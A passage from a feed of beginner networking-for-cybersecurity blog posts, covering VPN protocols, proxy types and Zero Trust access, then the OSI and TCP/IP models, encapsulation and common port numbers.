&lt;p&gt;The main purpose of a VPN is simple. It protects data from being seen or modified while it travels across untrusted networks. Without a VPN, anyone on the same network or along the route could inspect or intercept the traffic.&lt;/p&gt;

&lt;p&gt;A VPN also hides your real IP by replacing it with the VPN server’s IP. This provides privacy and makes tracking harder.&lt;/p&gt;

&lt;p&gt;Cybersecurity depends on VPNs because they:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Protect remote workers who connect over public Wi-Fi.&lt;/li&gt;
&lt;li&gt;Secure access to internal company systems.&lt;/li&gt;
&lt;li&gt;Stop attackers on local networks from sniffing or manipulating traffic.&lt;/li&gt;
&lt;li&gt;Encrypt sensitive data end-to-end across the internet.&lt;/li&gt;
&lt;li&gt;Help isolate networks and enforce access control.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  6. VPN Protocols: IPSec, OpenVPN, WireGuard
&lt;/h2&gt;

&lt;p&gt;VPNs rely on specific protocols to create secure tunnels. These protocols define how traffic is encrypted, authenticated and transported. The three most important ones in modern cybersecurity are IPSec, OpenVPN and WireGuard.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IPSec&lt;/strong&gt;&lt;br&gt;
A very mature protocol used mostly in corporate and site-to-site VPNs. Works at the network layer. Strong, stable and widely supported but can be complex to configure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OpenVPN&lt;/strong&gt;&lt;br&gt;
Runs over TLS. Very flexible and works almost anywhere. Common in commercial VPN services. Slightly slower than WireGuard but extremely reliable and battle-tested.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WireGuard&lt;/strong&gt;&lt;br&gt;
A newer protocol designed to be fast, simple and secure. Uses modern cryptography and has a small codebase, making audits easier. Often the fastest and easiest to configure.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. VPN Security Concepts: Tunneling, Encryption &amp;amp; Split Tunneling
&lt;/h2&gt;

&lt;p&gt;VPN security is built on a few core ideas. These concepts explain how VPNs protect data and how attackers are kept out.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tunneling&lt;/strong&gt;&lt;br&gt;
Your traffic is wrapped inside another packet and sent through a private path. This hides your internal data from the outside network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Encryption&lt;/strong&gt;&lt;br&gt;
The wrapped data is encrypted using strong algorithms. Even if someone captures the traffic, they cannot read it without the key.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authentication&lt;/strong&gt;&lt;br&gt;
VPN endpoints verify each other before the tunnel is created. This prevents impostors from pretending to be a valid server or client.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Integrity&lt;/strong&gt;&lt;br&gt;
The VPN ensures data is not modified on the way. Protocols use HMAC or similar methods to detect tampering.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Split Tunneling&lt;/strong&gt;&lt;br&gt;
Only selected traffic goes through the VPN, while other traffic goes directly to the internet. This improves speed but reduces security if not configured carefully.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full Tunnel&lt;/strong&gt;&lt;br&gt;
All traffic goes through the VPN. This provides maximum protection but uses more bandwidth.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjca16cxm03p9poo9kq5t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjca16cxm03p9poo9kq5t.png" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tunneling hides the data path.&lt;br&gt;
Encryption protects the data itself.&lt;br&gt;
Split tunneling decides what goes inside the tunnel.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. What Proxies Are and How They Work
&lt;/h2&gt;

&lt;p&gt;A proxy is a server that sits between a client and the destination. Instead of your device talking directly to a website or service, it sends the request to the proxy, and the proxy forwards it on your behalf.&lt;/p&gt;

&lt;p&gt;The core idea:&lt;br&gt;
The destination never sees your real identity. It sees the proxy instead.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How it works in simple steps:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Your device → sends request to proxy&lt;/li&gt;
&lt;li&gt;Proxy → forwards request to the website&lt;/li&gt;
&lt;li&gt;Website → sends response back to proxy&lt;/li&gt;
&lt;li&gt;Proxy → sends response back to your device&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Why proxies matter in cybersecurity:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;They hide internal IPs from the outside world.&lt;/li&gt;
&lt;li&gt;They filter and control outbound traffic.&lt;/li&gt;
&lt;li&gt;They block access to malicious or restricted sites.&lt;/li&gt;
&lt;li&gt;They allow logging and monitoring of traffic.&lt;/li&gt;
&lt;li&gt;They help isolate internal networks.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A proxy does not create encryption or a secure tunnel (unlike a VPN). It only forwards and filters traffic, acting like a middleman.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  9. Proxy Types: Forward, Reverse, Transparent, SOCKS5
&lt;/h2&gt;

&lt;p&gt;There are several types of proxies, each used for different purposes. The idea is always the same: the proxy sits in the middle, but what it does and who it serves depends on the type.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frdnfbic8185ofj7v12nf.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frdnfbic8185ofj7v12nf.jpg" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Forward Proxy&lt;/strong&gt;&lt;br&gt;
Used by clients to access the internet.&lt;br&gt;
Hides the user from the websites they visit.&lt;br&gt;
Common in companies to control outbound traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reverse Proxy&lt;/strong&gt;&lt;br&gt;
Used by servers.&lt;br&gt;
Hides internal servers from the outside world.&lt;br&gt;
Handles load balancing, caching and protection against attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Transparent Proxy&lt;/strong&gt;&lt;br&gt;
Invisible to the user.&lt;br&gt;
Traffic is intercepted and filtered without user configuration.&lt;br&gt;
Used in schools, companies and ISPs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SOCKS5 Proxy&lt;/strong&gt;&lt;br&gt;
A more flexible proxy that works at a lower level.&lt;br&gt;
Can handle almost any type of traffic (not just HTTP).&lt;br&gt;
Good for applications, games, P2P and tools that need raw forwarding.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Forward proxy protects users.&lt;br&gt;
Reverse proxy protects servers.&lt;br&gt;
Transparent proxy controls traffic silently.&lt;br&gt;
SOCKS5 is the more flexible, general-purpose proxy.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. VPN vs Proxy: Security, Privacy, and When to Use Each
&lt;/h2&gt;

&lt;p&gt;VPNs and proxies both sit between you and the destination, but they solve different problems. The main difference is that VPNs secure your traffic, while proxies mainly relay or filter it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VPN&lt;/strong&gt;&lt;br&gt;
Encrypts all your traffic.&lt;br&gt;
Protects data on public Wi-Fi or untrusted networks.&lt;br&gt;
Hides your IP and secures the entire connection.&lt;br&gt;
Used for secure remote work, privacy, and accessing internal systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proxy&lt;/strong&gt;&lt;br&gt;
Does not encrypt traffic.&lt;br&gt;
Only forwards specific requests (like web or SOCKS).&lt;br&gt;
Hides your IP but does not protect your data.&lt;br&gt;
Used for filtering, caching, access control, or hiding client identity.&lt;/p&gt;




&lt;h2&gt;
  
  
  11. Modern Alternatives: Zero Trust Network Access (ZTNA)
&lt;/h2&gt;

&lt;p&gt;**ZTNA **is the modern replacement for traditional VPNs. Instead of giving a user full network access once they connect, ZTNA gives access only to specific apps, and only after continuous verification.&lt;/p&gt;

&lt;p&gt;The core idea is simple:&lt;br&gt;
Never trust anyone by default, even if they are inside the network. Always verify identity, device health and context before allowing access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How ZTNA works:&lt;/strong&gt;&lt;br&gt;
A user logs in with strong authentication.&lt;br&gt;
ZTNA checks who they are and what device they use.&lt;br&gt;
Instead of opening the whole network, it gives access only to the exact application required.&lt;br&gt;
Access is rechecked constantly, not just at login.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why cybersecurity uses ZTNA:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It reduces lateral movement.&lt;/li&gt;
&lt;li&gt;It limits damage if an account is compromised.&lt;/li&gt;
&lt;li&gt;It removes the need for broad VPN access.&lt;/li&gt;
&lt;li&gt;It protects internal services without exposing them directly.&lt;/li&gt;
&lt;li&gt;It fits modern cloud and remote-work environments.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  12. Summary and What Comes Next (Part 4 Preview)
&lt;/h2&gt;

&lt;p&gt;In this part, we explored how networks control, secure, and filter traffic using &lt;strong&gt;firewalls&lt;/strong&gt;, &lt;strong&gt;VPNs&lt;/strong&gt;, &lt;strong&gt;proxies&lt;/strong&gt;, &lt;strong&gt;tunneling&lt;/strong&gt;, and &lt;strong&gt;Zero Trust&lt;/strong&gt; principles. You learned how access is granted, how traffic is encrypted through VPN tunnels, how proxies route requests, and how modern networks limit exposure through segmentation and policy enforcement. These are the defensive layers that sit between the user and the internal network.&lt;/p&gt;

&lt;p&gt;In &lt;strong&gt;Part 4&lt;/strong&gt;, we go deeper into what actually flows through the network — packets. You will learn packet structure, sniffing techniques, how tools like Wireshark and tcpdump capture traffic, and how analysts interpret live data. &lt;strong&gt;Packet-level&lt;/strong&gt; understanding is crucial for &lt;strong&gt;detecting attacks&lt;/strong&gt;, &lt;strong&gt;troubleshooting&lt;/strong&gt;, and performing real &lt;strong&gt;security analysis&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next:&lt;/strong&gt; Networking for Cybersecurity (Part 4): Packets, Sniffing &amp;amp; Traffic Analysis&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>network</category>
      <category>vpn</category>
      <category>proxy</category>
    </item>
    <item>
      <title>Networking for Cybersecurity (Part 1): OSI, TCP/IP, Ports &amp; Protocols</title>
      <dc:creator>Elvin Seyidov</dc:creator>
      <pubDate>Tue, 09 Dec 2025 16:20:19 +0000</pubDate>
      <link>https://forem.com/alvinseyidov/networking-for-cybersecurity-part-1-osi-tcpip-ports-protocols-3eai</link>
      <guid>https://forem.com/alvinseyidov/networking-for-cybersecurity-part-1-osi-tcpip-ports-protocols-3eai</guid>
      <description>&lt;h2&gt;
  
  
  1. Introduction to Networking for Cybersecurity
&lt;/h2&gt;

&lt;p&gt;Before you can understand attacks, defenses, tools, encryption, or even how the internet works, you must understand networking. Every cybersecurity skill - packet analysis, scanning, exploitation, incident response, forensics, malware analysis, SOC monitoring - depends on knowing how computers communicate.&lt;/p&gt;

&lt;p&gt;Most beginners jump straight into tools like Nmap or Wireshark without truly understanding what is happening under the hood. But in reality, cybersecurity is built on networking, and without this foundation, many concepts will feel confusing later.&lt;/p&gt;

&lt;p&gt;In this part, we start from the very beginning:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;how communication is structured (OSI Model)&lt;/li&gt;
&lt;li&gt;how the real internet works (TCP/IP Model)&lt;/li&gt;
&lt;li&gt;how data flows across layers&lt;/li&gt;
&lt;li&gt;what ports, protocols, and services actually mean&lt;/li&gt;
&lt;li&gt;how tools identify systems and vulnerabilities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding these basics will help you make sense of real-world attacks such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MITM (Layer 2)&lt;/li&gt;
&lt;li&gt;DNS spoofing (Layer 7)&lt;/li&gt;
&lt;li&gt;SYN flood DDoS (Layer 4)&lt;/li&gt;
&lt;li&gt;Port scans and fingerprinting&lt;/li&gt;
&lt;li&gt;VPN and firewall behavior&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. The OSI Model: The 7 Layers Explained Clearly
&lt;/h2&gt;

&lt;p&gt;While learning networking for cybersecurity, I realized the OSI model is the easiest way to understand how data travels. It is not used exactly like this in real networks, but it is still the best mental map for seeing where attacks happen and where defenses work.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;OSI model&lt;/strong&gt; has &lt;strong&gt;7 layers&lt;/strong&gt;. Each layer does a specific job and passes data to the layer above or below it. Understanding these layers helps make sense of packets, protocols, and security tools.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 1: Physical&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the actual hardware and electrical signals.&lt;br&gt;
&lt;strong&gt;Examples:&lt;/strong&gt; cables, Wi-Fi radio waves, switches.&lt;br&gt;
If something is wrong here, nothing else works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 2: Data Link&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Responsible for MAC addresses and local network communication.&lt;br&gt;
&lt;strong&gt;Examples:&lt;/strong&gt; ARP, Ethernet frames.&lt;br&gt;
A lot of attacks happen here because it is close to the hardware.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3: Network&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Moves data between networks using IP addresses.&lt;br&gt;
&lt;strong&gt;Examples:&lt;/strong&gt; IPv4, IPv6, routing.&lt;br&gt;
Most routing logic and many attacks (like IP spoofing) live here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 4: Transport&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Provides connection and reliability between systems.&lt;br&gt;
&lt;strong&gt;Examples:&lt;/strong&gt; TCP, UDP.&lt;br&gt;
Important for ports, scanning, sessions, and traffic analysis.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 5: Session&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Controls opening and closing communication sessions.&lt;br&gt;
Not very visible in day-to-day work, but good to know.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 6: Presentation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Handles formatting, encryption, compression.&lt;br&gt;
&lt;strong&gt;Examples:&lt;/strong&gt; TLS lives here conceptually.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 7: Application&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The layer we see as users.&lt;br&gt;
&lt;strong&gt;Examples:&lt;/strong&gt; HTTP, DNS, SMTP, FTP.&lt;br&gt;
Most high-level attacks happen here.&lt;/p&gt;

&lt;p&gt;I used to think OSI was just theory, but once I saw how different attacks map to layers, it finally made sense. When we get to scanning, sniffing, routing, VPNs, and traffic analysis later, the OSI model makes everything easier to understand. &lt;strong&gt;OSI is theory&lt;/strong&gt; → used for learning, explaining, analyzing network issues.&lt;/p&gt;


&lt;h2&gt;
  
  
  3. The TCP/IP Model: The Real-World Version of OSI
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8uyay72gu5e5bigsbqf3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8uyay72gu5e5bigsbqf3.png" alt=" " width="800" height="520"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After understanding the OSI model, I learned that real networks do not actually use all seven layers. The real internet uses the TCP/IP model, which is simpler and more practical. It is the model that routers, operating systems, firewalls, and most tools actually follow.&lt;/p&gt;

&lt;p&gt;Instead of seven layers, the TCP/IP model has four. Each one groups several OSI layers together. This makes it easier to understand how the internet works in real life.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 1: Link Layer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Covers OSI Layer 1 and 2.&lt;br&gt;
Handles MAC addresses, Ethernet frames, Wi-Fi, ARP, switches.&lt;br&gt;
Anything that deals with local network communication belongs here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 2: Internet Layer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Matches OSI Layer 3.&lt;br&gt;
Handles IP addresses and routing between networks.&lt;br&gt;
&lt;strong&gt;Examples:&lt;/strong&gt; IPv4, IPv6, ICMP, routing decisions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3: Transport Layer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Matches OSI Layer 4.&lt;br&gt;
Responsible for ports, TCP, UDP, sessions, reliability.&lt;br&gt;
Important for understanding scanning, traffic analysis, and attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 4: Application Layer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Combines OSI Layers 5, 6, and 7.&lt;br&gt;
Everything the user interacts with is here.&lt;br&gt;
&lt;strong&gt;Examples:&lt;/strong&gt; HTTP, HTTPS, DNS, SMTP, FTP, SSH.&lt;/p&gt;

&lt;p&gt;When I looked at OSI at first, it felt too academic. The TCP/IP model helped everything click, because it is what Linux, Windows, routers, firewalls, and tools like Wireshark actually use. Whenever I analyze packets or map traffic, this is the model I keep in mind. &lt;strong&gt;TCP/IP is implementation&lt;/strong&gt; → used by real protocols and devices (TCP, IP, HTTP, DNS, etc.)&lt;/p&gt;


&lt;h2&gt;
  
  
  4. How Data Moves Across Layers
&lt;/h2&gt;

&lt;p&gt;When a computer sends data (a message, HTTP request, file, anything), the data travels through layers. Each layer adds its own wrapper, like putting a gift into multiple boxes.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjf3yxwcnxw1mm7y3w61d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjf3yxwcnxw1mm7y3w61d.png" alt=" " width="696" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This wrapping process is called &lt;strong&gt;Encapsulation&lt;/strong&gt;. When the data arrives and layers unwrap it, that’s &lt;strong&gt;Decapsulation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4.1 Encapsulation: How Data Leaves Your Computer&lt;/strong&gt;&lt;br&gt;
When you send something (example: open a website), this is what happens:&lt;/p&gt;

&lt;p&gt;(&lt;strong&gt;Application Layer&lt;/strong&gt; – your app data)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You type URL → browser creates HTTP request&lt;/li&gt;
&lt;li&gt;This is the raw data your app wants to send&lt;/li&gt;
&lt;li&gt;No technical wrapper yet&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(&lt;strong&gt;Transport Layer&lt;/strong&gt; – makes sure data arrives)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;TCP or UDP adds:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;source port (your app number)&lt;/li&gt;
&lt;li&gt;destination port (which service on the server)&lt;/li&gt;
&lt;li&gt;sequence numbers (if TCP)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Now your data becomes a Segment (TCP) or Datagram (UDP)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(&lt;strong&gt;Network Layer&lt;/strong&gt;– finds the destination computer)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP adds:

&lt;ul&gt;
&lt;li&gt;source IP&lt;/li&gt;
&lt;li&gt;destination IP&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Now it becomes a Packet&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(&lt;strong&gt;Data Link Layer&lt;/strong&gt; – prepares it for the physical network)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ethernet/Wi-Fi adds:

&lt;ul&gt;
&lt;li&gt;source MAC&lt;/li&gt;
&lt;li&gt;destination MAC&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Now it becomes a Frame&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(&lt;strong&gt;Physical Layer&lt;/strong&gt; – sends electrical/light/radio signals)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Converts the frame into bits (0s and 1s)&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sends signals over cable, Wi-Fi, fiber, etc.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Each layer adds its own header.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Top-to-bottom = wrapping.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;4.2 Decapsulation: How Data Arrives at the Other End&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;On the receiving device, the reverse happens:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Physical Layer&lt;/strong&gt; → receives bits&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data Link Layer&lt;/strong&gt; → removes MAC header&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network Layer&lt;/strong&gt; → removes IP header&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transport Layer&lt;/strong&gt; → removes TCP/UDP header&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Application Layer&lt;/strong&gt; → your browser finally sees the HTTP response&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Bottom-to-top = &lt;strong&gt;unwrapping&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4.3 Why Encapsulation Matters in Cybersecurity&lt;/strong&gt;&lt;br&gt;
This is where the real magic happens for security people.&lt;/p&gt;

&lt;p&gt;Every attack lives on a specific layer&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ARP spoofing → Layer 2&lt;/li&gt;
&lt;li&gt;IP spoofing → Layer 3&lt;/li&gt;
&lt;li&gt;SYN flood → Layer 4&lt;/li&gt;
&lt;li&gt;SQL injection → Layer 7&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can't understand attacks if you don’t understand where the data gets wrapped/unwrapped.&lt;/p&gt;

&lt;p&gt;Firewalls use this structure&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Packet filters (L3) check IP addresses&lt;/li&gt;
&lt;li&gt;Stateful firewalls (L4) check TCP/UDP behavior&lt;/li&gt;
&lt;li&gt;WAF (L7) checks HTTP content&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Attackers abuse headers&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fake MAC&lt;/li&gt;
&lt;li&gt;Fake IP&lt;/li&gt;
&lt;li&gt;Fake ports&lt;/li&gt;
&lt;li&gt;Malformed packets&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Everything an attacker does is related to manipulating these layers.&lt;/p&gt;


&lt;h2&gt;
  
  
  5. Ports and Services: How Systems Communicate
&lt;/h2&gt;

&lt;p&gt;When devices talk to each other, they don’t just send data randomly.&lt;br&gt;
They need to know which program the data belongs to.&lt;/p&gt;

&lt;p&gt;A port is basically a door number inside a computer.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP address = the house&lt;/li&gt;
&lt;li&gt;Port = the room inside that house&lt;/li&gt;
&lt;li&gt;Protocol (TCP/UDP) = how you knock on the door&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is how systems understand which service should receive incoming data.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffd5vibusui722095f3vr.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffd5vibusui722095f3vr.jpg" alt=" " width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5.1. What a Port Really Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every app or service listens on a specific port.&lt;/p&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;80 → HTTP&lt;/li&gt;
&lt;li&gt;443 → HTTPS&lt;/li&gt;
&lt;li&gt;22 → SSH&lt;/li&gt;
&lt;li&gt;53 → DNS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So if you type a website URL:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your computer talks to the server’s IP:443&lt;/li&gt;
&lt;li&gt;The server knows “Oh, port 443? That’s my HTTPS service.”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ports are just numbers from 0–65535.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5.2. Two Types of Ports: Well-Known &amp;amp; Dynamic&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;(1) Well-Known Ports (0–1023)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Used by important system services.&lt;/p&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;80 (HTTP)&lt;/li&gt;
&lt;li&gt;443 (HTTPS)&lt;/li&gt;
&lt;li&gt;22 (SSH)&lt;/li&gt;
&lt;li&gt;25 (SMTP)&lt;/li&gt;
&lt;li&gt;53 (DNS)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are the ones cybersecurity people always memorize.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;(2) Registered Ports (1024–49151)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Used by applications.&lt;/p&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;3306 (MySQL)&lt;/li&gt;
&lt;li&gt;5432 (PostgreSQL)&lt;/li&gt;
&lt;li&gt;27017 (MongoDB)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;(3) Dynamic Ports (49152–65535)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Used temporarily by your system for outgoing connections.&lt;/p&gt;

&lt;p&gt;When your browser connects to google.com:443, it uses something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client: 192.168.1.10:55921  →  Server: 142.250.185.100:443
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your side uses a random high port, server uses fixed service port.&lt;/p&gt;

&lt;p&gt;Here’s how I personally remember ports:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;80/443 → Web&lt;/li&gt;
&lt;li&gt;22 → SSH (remote command access)&lt;/li&gt;
&lt;li&gt;53 → DNS (internet phonebook)&lt;/li&gt;
&lt;li&gt;25/587/465 → Email&lt;/li&gt;
&lt;li&gt;3306/5432 → Databases&lt;/li&gt;
&lt;li&gt;445 → SMB (Windows file sharing, dangerous)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  6. Common Protocols Every Security Learner Must Know
&lt;/h2&gt;

&lt;p&gt;This is one of the most important parts for cybersecurity. If you know protocol + port + purpose + risk, you can understand 80% of real-world attacks.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzs41op79oufx2g5o6521.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzs41op79oufx2g5o6521.png" alt=" " width="800" height="1042"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
